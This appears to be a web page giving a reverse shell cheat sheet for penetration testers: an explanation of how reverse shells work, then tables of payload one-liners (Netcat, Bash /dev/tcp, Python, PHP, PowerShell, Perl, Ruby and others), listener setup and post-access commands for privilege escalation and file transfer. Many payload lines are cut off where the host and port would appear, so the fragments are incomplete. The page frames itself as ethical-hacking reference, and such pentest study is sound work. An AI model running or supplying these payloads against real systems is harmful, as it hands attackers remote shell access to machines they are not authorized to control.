What is a Reverse Shell?
A reverse shell is a type of shell in which an attacker establishes a connection to the victim’s system and gets access to its command prompt. Unlike a traditional shell, where the user interacts with the system by typing commands into a terminal, in a reverse shell scenario, the connection is initiated by the compromised system and is directed back to the attacker.
However, it’s important to note that ethical hackers, also known as penetration testers, may use reverse shells as part of security assessments to identify and fix vulnerabilities before malicious actors can exploit them. This cheat sheet provides a quick reference guide for individuals involved in penetration testing, ethical hacking, or other cybersecurity activities where understanding and implementing reverse shells is necessary. It includes commands and techniques for creating, delivering, and exploiting reverse shells.
How Does a Reverse Shell Work?
A reverse shell operates by creating a connection between the target system and the attacker’s machine. Typically, the target machine initiates this connection by sending a request to the attacker’s machine. Once established, the attacker’s machine assumes the role of a listener, anticipating commands from the attacker.
To create a reverse shell, the attacker initiates the creation of a shell payload programmed to connect back to their machine. Various tools and programming languages, such as Metasploit, Bash, Netcat, and PHP can be utilized for this purpose. After crafting the payload, it is commonly delivered to the target machine through vulnerabilities or social engineering methods.
Upon execution of the payload on the target machine, it establishes a connection back to the attacker’s machine. Once the connection is active, the attacker gains access to a shell session, enabling the execution of commands on the target machine, retrieval of files and data, and potential escalation of privileges if needed.
Here’s a step-by-step explanation of the various stages of operation:
- Listener Setup: The attacker sets up a listener on their machine, usually using a tool like Netcat (nc) or any other network socket listening tool. The listener waits for incoming connections on a specified port.
- Payload Generation: The attacker creates a payload, which is a piece of code that, when executed on the target machine, establishes a connection back to the attacker’s machine.
- Payload Execution on the Target: The attacker needs a way to execute the payload on the target machine. This can be done through various means, such as exploiting vulnerabilities, social engineering, or injecting the payload into a target system.
- Connection Back to Attacker: Once the payload is executed on the target machine, it initiates a connection back to the attacker’s machine. This connection is typically a TCP or UDP connection.
- Shell Interaction: After the connection is established, the attacker gains a shell on the target machine. This shell allows the attacker to interact with the target system’s command-line interface as if they were physically present on the machine.
- Data Transfer: Data is transferred between the attacker and the target through the established connection. This includes commands sent by the attacker to the target and the corresponding output sent back from the target to the attacker.
- Remote Control: The attacker can now remotely control the target machine, execute commands, manipulate files, and perform various actions as if they had direct access to the system.
View or Download the Cheat Sheet JPG image
Right-click on the image below to save the JPG file (1031w x 2500h in pixels), or click here and open it in a new browser tab. Once the image opens in a new window, you may need to click on the image to zoom in and view the full-sized jpeg.
View or Download the cheat sheet PDF file
You can download the cheat sheet Reverse Shell Cheat Sheet.pdf here. If it opens in a new browser tab, simply right click on the PDF and navigate to the download selection.
What’s included in the Cheat Sheet
The following categories and items have been included in the cheat sheet:
Creating a Reverse Shell
Multiple tools and programming languages are available for crafting a reverse shell payload. Here are a few examples:
| Netcat |
nc -e /bin/sh |
| Bash |
bash -i >& /dev/tcp/ |
| Python |
import socket,subprocess,os |
| PHP |
php -r '$sock=fsockopen(" |
| ZSH |
zsh -c 'zmodload zsh/net/tcp && ztcp |
| PowerShell |
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(' |
| Perl |
perl -e 'use Socket;$i="$ENV{ |
| Ruby |
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV[" |
| Java |
r = Runtime.getRuntime() |
| Telnet |
TF=$(mktemp -u); mkfifo $TF && telnet |
Using a Reverse Shell
| Listener Setup (Attacker's Machine) | Payload Generation (Target Machine) | Execution on the Target Machine | Connection Back to Attacker | Remote Control | Replace IP and Port |
|---|---|---|---|---|---|
| Netcat (nc) Reverse Shell | |||||
Bash: nc -lvp | Bash: /bin/bash -c "/bin/bash -i > /dev/tcp/ | Execute the payload on the target machine through a vulnerability or social engineering. | The target machine initiates a connection back to the attacker's machine. | Upon successful connection, the attacker gains a shell on the target. Interact with the shell to execute commands and manipulate the target system. | Replace |
| Python Reverse Shell | |||||
Bash: nc -lvp | Python: | Execute the payload on the target machine through a vulnerability or social engineering | The target machine initiates a connection back to the attacker's machine | Upon successful connection, the attacker gains a shell on the target. Interact with the shell to execute commands and manipulate the target system. | Replace |
| PHP Reverse Shell | |||||
Bash: | php: | Execute the payload on the target machine through a vulnerability or social engineering | The target machine initiates a connection back to the attacker's machine | Upon successful connection, the attacker gains a shell on the target. Interact with the shell to execute commands and manipulate the target system. | Replace |
Ruby Reverse Shell |
|||||
Bash: | Ruby: | Execute the payload on the target machine through a vulnerability or social engineering | The target machine initiates a connection back to the attacker's machine | Upon successful connection, the attacker gains a shell on the target. Interact with the shell to execute commands and manipulate the target system | Replace |
Bash Reverse Shell |
|||||
Bash: | bash -i >& /dev/tcp/ | Execute the payload on the target machine through a vulnerability or social engineering. | The target machine initiates a connection back to the attacker's machine | Upon successful connection, the attacker gains a shell on the target. Interact with the shell to execute commands and manipulate the target system | Replace |
Employing a Reverse Shell
After creating a reverse shell payload and establishing a connection with the target machine, the shell session becomes a tool for executing commands and conducting diverse actions on the target system. Below are several helpful commands and usage examples:
| Command Name | Description | Usage Example |
|---|---|---|
Navigation and File Operations |
||
| ls (List) | Lists files and directories | ls (list files and directories in the current folder) |
| cd (Change Directory) | Changes the current working directory | cd Documents (move to the "Documents" directory) |
| cp (Copy) | Copies files or directories | cp file.txt /destination/folder (copy to a specified folder) |
| mv (Move/Rename): | Moves or renames files or directories | mv oldfile.txt newfile.txt (rename)mv file.txt /new/location/ (move) |
| rm (Remove) | Deletes files or directories | rm file.txt (delete a file) |
| pwd (Print Working Directory) | Display the current working directory | pwd (show the current working directory) |
| find (Find Files and Directories) | Search for files and directories in a directory hierarchy. | find /path/to/search -name "filename" (search for a specific file). |
| chmod (Change Mode) | Change file permissions | chmod +x script.sh (add execute permission to a script). |
| chown (Change Owner) | Change the owner of a file or directory | chown user:group myfile.txt (change owner and group) |
Privilege Escalation and File Transfer |
||
| Sudo | List available sudo commands for the current user | sudo -l |
| Sudo | Run a command with elevated privileges | sudo |
| Switch user | Switch to the root user. | su |
| Switch user | Switch to the root user with elevated privileges. | sudo su |
| wget | Download a file from the internet | wget |
| curl | Download a file from the internet | curl |
| netcat | Receive a file over the network using netcat | c -l |
| netcat | Send a file over the network using netcat | nc |
Networking |
||
| ping (Ping) | Test network connectivity | ping example.com |
| ifconfig (Interface Configuration) | Display/configure network interfaces | ifconfig -a (show all interfaces) |
| netstat (Network Statistics) | Show network connections | netstat -an (display all active network connections) |
| route (Display or Modify Routing Table) | Display or modify the IP routing table. | route -n (display routing table) |
| traceroute (Trace Route) | Display the route that packets take to reach a destination | traceroute example.com (trace the route to a domain) |
| Nmap (Network Map) | Scan a network for open ports and services | nmap |
| nslookup (Name Server Lookup) | Query DNS servers for domain name information | nslookup example.com (lookup domain information) |
| ARP | Display ARP table | arp -a |
| ssh (Secure Shell) | Connect to a remote server securely. | ssh username@remotehost (connect to a remote server). |
| scp (Secure Copy) | Copy files securely between hosts. | scp file.txt username@remotehost:/path/to/destination (securely copy a file). |
Concluding Remarks
The above Reverse Shell Cheat Sheet serves as an invaluable resource for those seeking to strengthen their cybersecurity arsenal and proficiency. It empowers both beginners and experienced security professionals with an in-depth understanding of reverse shells across various programming languages and techniques. The cheat sheet also accelerates the learning curve associated with Reverse Shell command-line operations, allowing you to perform tasks more efficiently and troubleshoot issues effectively.
However, it’s important to note that the use of reverse shells should always comply with legal and ethical standards. Unauthorized access to computer systems is illegal, and reverse shells should only be used in environments where explicit permission has been granted for security testing or educational purposes.
